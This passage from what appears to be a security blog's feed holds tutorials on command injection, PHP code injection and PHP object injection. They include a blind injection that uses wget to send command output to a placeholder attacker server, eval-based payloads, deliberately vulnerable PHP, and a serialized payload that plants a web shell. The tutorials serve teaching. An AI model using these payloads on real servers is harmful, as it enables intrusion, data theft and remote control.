&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtOutw9mxvvmMgIwcnOdqX0D_cqeQaVqvugiEeA35Xh4qxyni8gHtNr8ovfslR6qYvosf9gAUR9xca9RYLeHdNE0pHt1x8tplQU3IPsDaEQfhxWUK-rRf2Z4xS6Qi0SEf1zDPebiPK55o/s1600/img6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;109&quot; data-original-width=&quot;415&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtOutw9mxvvmMgIwcnOdqX0D_cqeQaVqvugiEeA35Xh4qxyni8gHtNr8ovfslR6qYvosf9gAUR9xca9RYLeHdNE0pHt1x8tplQU3IPsDaEQfhxWUK-rRf2Z4xS6Qi0SEf1zDPebiPK55o/s1600/img6.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This type of command injection is known as blind command injection, because we did not see the output of executed command on response. In this situation we can use some other commands like &#39;sleep&#39;, which pauses the execution for some second. Example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /pci.php?file=data.txt;sleep 10&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_rmWdtWD9swGinrpqfDTTYwwdqmQGh1kKuSSqOJ8dLsUp7fLmLqRlR3CB_1DMfL3894SDOCOE-CcnIBvUczmvaA-GK2A6VBWttUfKksA70iuzlMZze8YNkxcH6tBJxengc1YshfzaG34/s1600/img7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;245&quot; data-original-width=&quot;498&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_rmWdtWD9swGinrpqfDTTYwwdqmQGh1kKuSSqOJ8dLsUp7fLmLqRlR3CB_1DMfL3894SDOCOE-CcnIBvUczmvaA-GK2A6VBWttUfKksA70iuzlMZze8YNkxcH6tBJxengc1YshfzaG34/s1600/img7.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
and as we can see that webapp is waiting for the server response, means it is vulnerable to command injection attack. In this situation, to exfiltrate data from the sever we can make request from the vulnerable server to our server with the data as parameter. Example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /pci.php?file=data.txt;wget http://attackerserver/$(command_to_be_executed)&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWheFZ2aDOX0LXnXWC4_1h6ZjEE8CcQvvvNBePcKdkPiAcCCedG1VMJ531kO85E3EJCuOTKnYEQOoTPtF3dHk2P9Ht0RZLjnv9SAgAiU7mw8fIAmRVNqi8d6Km7DRHWIV5sak5WahNQUg/s1600/img8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;132&quot; data-original-width=&quot;673&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWheFZ2aDOX0LXnXWC4_1h6ZjEE8CcQvvvNBePcKdkPiAcCCedG1VMJ531kO85E3EJCuOTKnYEQOoTPtF3dHk2P9Ht0RZLjnv9SAgAiU7mw8fIAmRVNqi8d6Km7DRHWIV5sak5WahNQUg/s1600/img8.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9D2CJ7GurYhBadyp3N_LZdrrv9bV7ASpsyPsMP_Ztn-0WISEp7sqFW1k8zRv_612CAVN3WfZ0MVR6N0jcehmPTWTwuxLKASoZgBXWJuw4r2W1p73W0pj5qNciInbctFN659kdihyZ_xc/s1600/img9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;37&quot; data-original-width=&quot;522&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9D2CJ7GurYhBadyp3N_LZdrrv9bV7ASpsyPsMP_Ztn-0WISEp7sqFW1k8zRv_612CAVN3WfZ0MVR6N0jcehmPTWTwuxLKASoZgBXWJuw4r2W1p73W0pj5qNciInbctFN659kdihyZ_xc/s1600/img9.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Note that at above a wrapper &quot;$(command)&quot; is used to execute command on the server.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;&lt;b&gt;Conclusion :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This is a very basic introduction to Command Injection Vulnerability. In next post we are going to see some methods and techniques to bypass security checks and sanitization bypass.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Link : &lt;a href=&quot;http://www.sec-art.net/2019/01/command-injection-vulnerability-in-web_28.html&quot; target=&quot;_blank&quot;&gt;Command Injection Part 2 | Bypass Security checks&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Visit the link for more tutorials about Web Security : &lt;b&gt;&lt;a href=&quot;http://www.sec-art.net/p/web-security.html&quot;&gt;http://www.sec-art.net/p/web-security.html&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/command-injection-vulnerability-in-web.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWxsP37zqWmiJN7k9ixEDBSxJPE_oaAzwjzfCaFR_AYxyDKyYbE4-7o7c6enX1pMKMT0brCiSIL46lnvp_ZYQyEE8PyT8PqP0BNww0PRnn5726tjDGOEiYyFqgPzsJi9D-KB2VRwVOCQ/s72-c/inject.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-241707577716999861</guid><pubDate>Mon, 28 Jan 2019 15:20:00 +0000</pubDate><atom:updated>2019-01-28T07:22:03.576-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title>Code Injection Vulnerability in Web Applications</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTCj532uGxZ4SnyGZhb8-kV9UrN77NvjUyIp5RIoUCoZlQK2E9ZqD2RqOKonB7wo1aD6QpoYO8WLb7yIRbcTn3wp9SJJltsPFETASVAKGHNLmTSHXQPFUlkMaGtyFrOlobrVL6P4GTLdI/s1600/injection.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;178&quot; data-original-width=&quot;359&quot; height=&quot;158&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTCj532uGxZ4SnyGZhb8-kV9UrN77NvjUyIp5RIoUCoZlQK2E9ZqD2RqOKonB7wo1aD6QpoYO8WLb7yIRbcTn3wp9SJJltsPFETASVAKGHNLmTSHXQPFUlkMaGtyFrOlobrVL6P4GTLdI/s320/injection.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
In Code Injection vulnerability allows an attacker to inject and execute malicious code on the&amp;nbsp; target web application. This type of attack exploits the poor handling of user-supplied untrusted data. The code injection vulnerability exists on the web-application due to lack of proper validation and security checks against input data (user-supplied data).&lt;br /&gt;
&lt;br /&gt;
The code injection is different from command injection, because in code injection an attacker is only limited by the functionality of the injected language itself. For example, if an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Now lets see an example of code injection Vulnerability.&lt;br /&gt;
&lt;br /&gt;
File : &lt;b&gt;test.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  $name = $_GET[&#39;name&#39;];
  eval(&quot;echo &#39;Hello $name&#39;;&quot;);
?&amp;gt;&lt;/pre&gt;
&lt;br /&gt;
Above code takes input from GET parameter &#39;name&#39; and evaluate it with echo command by using eval() function, the eval() function is a inbuilt php function which evaluates a string as PHP code. Output of above program :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwvkh2mQFCY2yY6tcy4Oc40cwieu5dssSX2Ll_hb4of4JlFq6W8qsbi2kiO77kT_m5vff30gSgWLX888CRqA5KCnm8keqA6atGRi86NrfRDmwGedD_q0jYSWP8PZA-EVVKXn5SVSrV8_c/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;91&quot; data-original-width=&quot;388&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwvkh2mQFCY2yY6tcy4Oc40cwieu5dssSX2Ll_hb4of4JlFq6W8qsbi2kiO77kT_m5vff30gSgWLX888CRqA5KCnm8keqA6atGRi86NrfRDmwGedD_q0jYSWP8PZA-EVVKXn5SVSrV8_c/s1600/img1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
But the above code is vulnerable to php code injection. For example, an attacker could make the following request to execute arbitrary PHP code.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?name=ajay;&#39;;phpinfo();//&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJqYNKXIZ591henuwIG9EwMsyhpoLmNO6HW0zY904O7ObmsWRhT9-7T8ucmrtylSPPdjctf8kKkUthju2R3hBZHCqxqU3Jfi3SmieBlAlp3TlYrJ1iCkL6zpOy79fXKinBwbl77Jp2Ubs/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;317&quot; data-original-width=&quot;460&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJqYNKXIZ591henuwIG9EwMsyhpoLmNO6HW0zY904O7ObmsWRhT9-7T8ucmrtylSPPdjctf8kKkUthju2R3hBZHCqxqU3Jfi3SmieBlAlp3TlYrJ1iCkL6zpOy79fXKinBwbl77Jp2Ubs/s1600/img2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And as we can see,&amp;nbsp; the phpinfo() function is executed by simply commenting out the rest of the code (by using &#39;//&#39; ) on eval() function at line 3. Another example of evaluating system commands :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?name=ajay;&#39;;system(&#39;uname -a&#39;);//&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIVRK28Vb6iwy-8RAfTBgNnsql2z9AYOV4K_pPVc88VnOPtQKQI_hfDw7ERHndGu8wStCyQB6OFV7drIAofyzTtllbHpwSVUgNbg___jD2JgxiY21zBgIufRG5qyhCJOBH6w-Hp2jBGHc/s1600/img3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;132&quot; data-original-width=&quot;732&quot; height=&quot;115&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIVRK28Vb6iwy-8RAfTBgNnsql2z9AYOV4K_pPVc88VnOPtQKQI_hfDw7ERHndGu8wStCyQB6OFV7drIAofyzTtllbHpwSVUgNbg___jD2JgxiY21zBgIufRG5qyhCJOBH6w-Hp2jBGHc/s640/img3.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-size: large;&quot;&gt;&lt;b&gt;Avoiding Code Injection Vulnerability :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The best way to eliminate the code injection vulnerability is to avoid code evaluation at all costs. And when it is necessary then it is important to strongly validate the input data before evaluating it.&lt;br /&gt;
&lt;br /&gt;
Visit the link for more tutorials about Web Security : &lt;a href=&quot;http://www.sec-art.net/p/web-security.html&quot;&gt;&lt;b&gt;http://www.sec-art.net/p/web-security.html&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/code-injection-vulnerability-in-web.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTCj532uGxZ4SnyGZhb8-kV9UrN77NvjUyIp5RIoUCoZlQK2E9ZqD2RqOKonB7wo1aD6QpoYO8WLb7yIRbcTn3wp9SJJltsPFETASVAKGHNLmTSHXQPFUlkMaGtyFrOlobrVL6P4GTLdI/s72-c/injection.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-8375186355897111081</guid><pubDate>Sun, 27 Jan 2019 10:25:00 +0000</pubDate><atom:updated>2019-01-27T02:29:44.712-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title>PHP Serialization / Object Injection Vulnerability Part 2 : Exploitation Technique</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG4wAM5nl-N8ad-zX4DaRLEyWAgrjluwJAnq_-kUQGE_P6D-FxNldwbCJhLH7g2a6fDD1oO__oB15Cg3VjESi_SoND8BAN4oShlnwg062QnQ-_gUhUbvbsWzPfInVEDTNwSb3r7p2T1Ek/s1600/phpinj.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;111&quot; data-original-width=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG4wAM5nl-N8ad-zX4DaRLEyWAgrjluwJAnq_-kUQGE_P6D-FxNldwbCJhLH7g2a6fDD1oO__oB15Cg3VjESi_SoND8BAN4oShlnwg062QnQ-_gUhUbvbsWzPfInVEDTNwSb3r7p2T1Ek/s1600/phpinj.jpg&quot; style=&quot;display: none;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
In PHP object injection attack we try to inject arbitrary objects of a class with malicious crafted custom values, in order to exploit some functionality of web-application&#39;s execution flow. For example&amp;nbsp; consider the below vulnerable php program :&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
FileName : &lt;b&gt;phpoi.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  class WebApp {
    public $logfile = null;
    public $logdata = null;

    public function OITest() {
      echo &#39;[+] Hello world. This is Function call to OITest();&amp;lt;br/&amp;gt;&#39;;
      $this-&amp;gt;logfile = &#39;logs.txt&#39;;
      $this-&amp;gt;logdata = &#39;Log Data : Success&#39;;
    }

    public function __destruct() {
      file_put_contents(DIR . &#39;/&#39; . $this-&amp;gt;logfile, $this-&amp;gt;logdata);
      echo &#39;[*] Data is written to the file.&amp;lt;br/&amp;gt;&#39;;
    }
  }

  $input = unserialize($_GET[&#39;data&#39;]);

  $obj = new WebApp;
  $obj-&amp;gt;OITest();
?&amp;gt;&lt;/pre&gt;
At above program, there is a class named &quot;WebApp&quot;, there are 2 variables within the class, and the values are assigned to the variables by calling &lt;b&gt;IOTest()&lt;/b&gt; class function, and at the end of execution, &lt;b&gt;__destruct&lt;/b&gt; function will triggered, which write the content of variable &lt;b&gt;$logdata&lt;/b&gt; into file &lt;b&gt;logs.txt&lt;/b&gt; (which is stored within $logfile variable) on the current web directory by using &lt;b&gt;file_put_contents()&lt;/b&gt; function and prints the message &quot;[*] Data is written to the file&quot;. Also note that there&#39;s &lt;b&gt;unserialize()&lt;/b&gt; function is used, which deserialize the users input in provided with GET method ( &lt;b&gt;GET[&#39;data&#39; ]&lt;/b&gt; )&amp;nbsp; and store the output on variable named &#39;$input&#39;, but program does not use this deserialze object. which Now lets run the program.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Note&lt;/b&gt; : For this demonstration i am using Lamp stack with Ubuntu server16.4 VM.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrltAhbqJpYq-efwGCLR_qMRF4Aqoh7elgkg_8QMP9N8R8JL3DLTfxOk4Vt2ZfMOjdhUag92NHKhom1PM7H4beU_nAPjpS2Lvtc3lSgd91XaGrLhopzc0PbWZ6rDvH8feNY2oQ_Scmh50/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;97&quot; data-original-width=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrltAhbqJpYq-efwGCLR_qMRF4Aqoh7elgkg_8QMP9N8R8JL3DLTfxOk4Vt2ZfMOjdhUag92NHKhom1PM7H4beU_nAPjpS2Lvtc3lSgd91XaGrLhopzc0PbWZ6rDvH8feNY2oQ_Scmh50/s1600/img2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And the &quot;logs.txt&quot; file is also created. But there is also an user provided object named $input. So when we provide a serialized object with get parameter, then it is unserialized and written on the file by __destruct() function. Now lets see how it works, but first we have to generate the serialized object string and for this we are going to use below code :&lt;br /&gt;
&lt;br /&gt;
Filename : &lt;b&gt;generate1.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt; &amp;lt;?php
  class WebApp {
    public $logfile = &quot;file.txt&quot;;
    public $logdata = &quot;This is Simple Test file.&quot;;
  }

  $obj = new WebApp;
  echo htmlspecialchars(serialize($obj));
?&amp;gt;&lt;/pre&gt;
Note that the structure of the class&amp;nbsp; needs to be same as target application&#39;s class. The output is :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; O:6:&quot;WebApp&quot;:2:{s:7:&quot;logfile&quot;;s:8:&quot;file.txt&quot;;s:7:&quot;logdata&quot;;s:25:&quot;This is Simple Test file.&quot;;}&lt;/code&gt;&lt;/pre&gt;
Now supplying the above string as GET argument with parameter &#39;data&#39;, the url will look like below :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /phpoi.php?data=O:6:&quot;WebApp&quot;:2:{s:7:&quot;logfile&quot;;s:8:&quot;file.txt&quot;;s:7:&quot;logdata&quot;;s:25:&quot;This is Simple Test file.&quot;;}&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK88uvQb_L8MlPe_7a1aWILtFDZHBsJrIXhyQFf59gZdwqL-Xtrttj3HBvjrtoY-KYddmK7N6lB_M9HHXI1R3ak9y7QvEdHLirHUr3Umb4gBLNk_AIMimx-zHm4WintYruouVpRm21pxw/s1600/img4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;168&quot; data-original-width=&quot;641&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK88uvQb_L8MlPe_7a1aWILtFDZHBsJrIXhyQFf59gZdwqL-Xtrttj3HBvjrtoY-KYddmK7N6lB_M9HHXI1R3ak9y7QvEdHLirHUr3Umb4gBLNk_AIMimx-zHm4WintYruouVpRm21pxw/s1600/img4.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Note that the message will written twice, means our provided logdata will written on the newly created file &quot;&lt;b&gt;file.txt&lt;/b&gt;&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMGQQYPm8tiEOSDUH_ZKQD7f2KEw4M382lcsfKYpnx2S-5iiigHcl71Mh5nFA7YQ3XvtSBISztXuZZEpMqjIjCP3IxKU_5M7e0L64FnmcHoiCYEcONCzVK2Yq85s8S5Lwbdou-lDuZCLs/s1600/img5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;112&quot; data-original-width=&quot;447&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMGQQYPm8tiEOSDUH_ZKQD7f2KEw4M382lcsfKYpnx2S-5iiigHcl71Mh5nFA7YQ3XvtSBISztXuZZEpMqjIjCP3IxKU_5M7e0L64FnmcHoiCYEcONCzVK2Yq85s8S5Lwbdou-lDuZCLs/s1600/img5.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now by similar method we can also write a php shell on the web server, and achieve code execution on the vulnerable server. PHP code to generate serialized string for php shell is :&lt;br /&gt;
&lt;br /&gt;
Filename :&amp;nbsp;&lt;b&gt;generate2.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  class WebApp {
    public $logfile = &quot;shell.php&quot;;
    public $logdata = &#39;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&#39;;
  }

  $obj = new WebApp;
  echo htmlspecialchars(serialize($obj));
?&amp;gt;&lt;/pre&gt;
&lt;b&gt;Output :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; O:6:&quot;WebApp&quot;:2:{s:7:&quot;logfile&quot;;s:9:&quot;shell.php&quot;;s:7:&quot;logdata&quot;;s:30:&quot;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&quot;;}&lt;/code&gt;&lt;/pre&gt;
Our payload will be :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /phpoi.php?data=O:6:&quot;WebApp&quot;:2:{s:7:&quot;logfile&quot;;s:9:&quot;shell.php&quot;;s:7:&quot;logdata&quot;;s:30:&quot;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&quot;;}&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigU7DAJsfsAwE3eukKJAmaYEd6hu_OjFHpJu9zH5PDLbHQ1JNl-byC-80lR6ERUGQs3pUaU8gdMOtkW6AAxKsVh4yKOlVCPzHV4fJZBDWZ0kUuWmu2OrV0CtLG5he2mwK1X4pCP0TNMdI/s1600/img6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;115&quot; data-original-width=&quot;522&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigU7DAJsfsAwE3eukKJAmaYEd6hu_OjFHpJu9zH5PDLbHQ1JNl-byC-80lR6ERUGQs3pUaU8gdMOtkW6AAxKsVh4yKOlVCPzHV4fJZBDWZ0kUuWmu2OrV0CtLG5he2mwK1X4pCP0TNMdI/s1600/img6.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
looks like our php web-shell is successfully written on web server. Now lets try to execute command on the server.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /shell.php?cmd=uname -a&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq5Y8KGxnrb8Hfzkadsi04iZucfDUkoK33tsx8BElkcdflCiIMciFNaoo6Q-uUNmiuKVCFNpua1bAMP4roQOzCBjOmocTt0J2MldlKRistRRl9an6MEds0Cvz9XcPajugPLoQhziZupKQ/s1600/img7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;99&quot; data-original-width=&quot;696&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq5Y8KGxnrb8Hfzkadsi04iZucfDUkoK33tsx8BElkcdflCiIMciFNaoo6Q-uUNmiuKVCFNpua1bAMP4roQOzCBjOmocTt0J2MldlKRistRRl9an6MEds0Cvz9XcPajugPLoQhziZupKQ/s1600/img7.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
and, it works. Means we successfully exploited. Note that this is one of the various methods to exploit PHP Object Injection vulnerability. An attacker can also use other magic function like __construct(), call(), sleep(), __wakeup, toString etc. depending on the web application code flow to manipulate class variables in order to attack the web application.&lt;br /&gt;
&lt;br /&gt;
All the php codes used here can be downloaded from : &lt;a href=&quot;https://github.com/sec-artdotnet/PHPObjectInjction/tree/master/Part2&quot; target=&quot;_blank&quot;&gt;Github Link&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;Conclusion :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
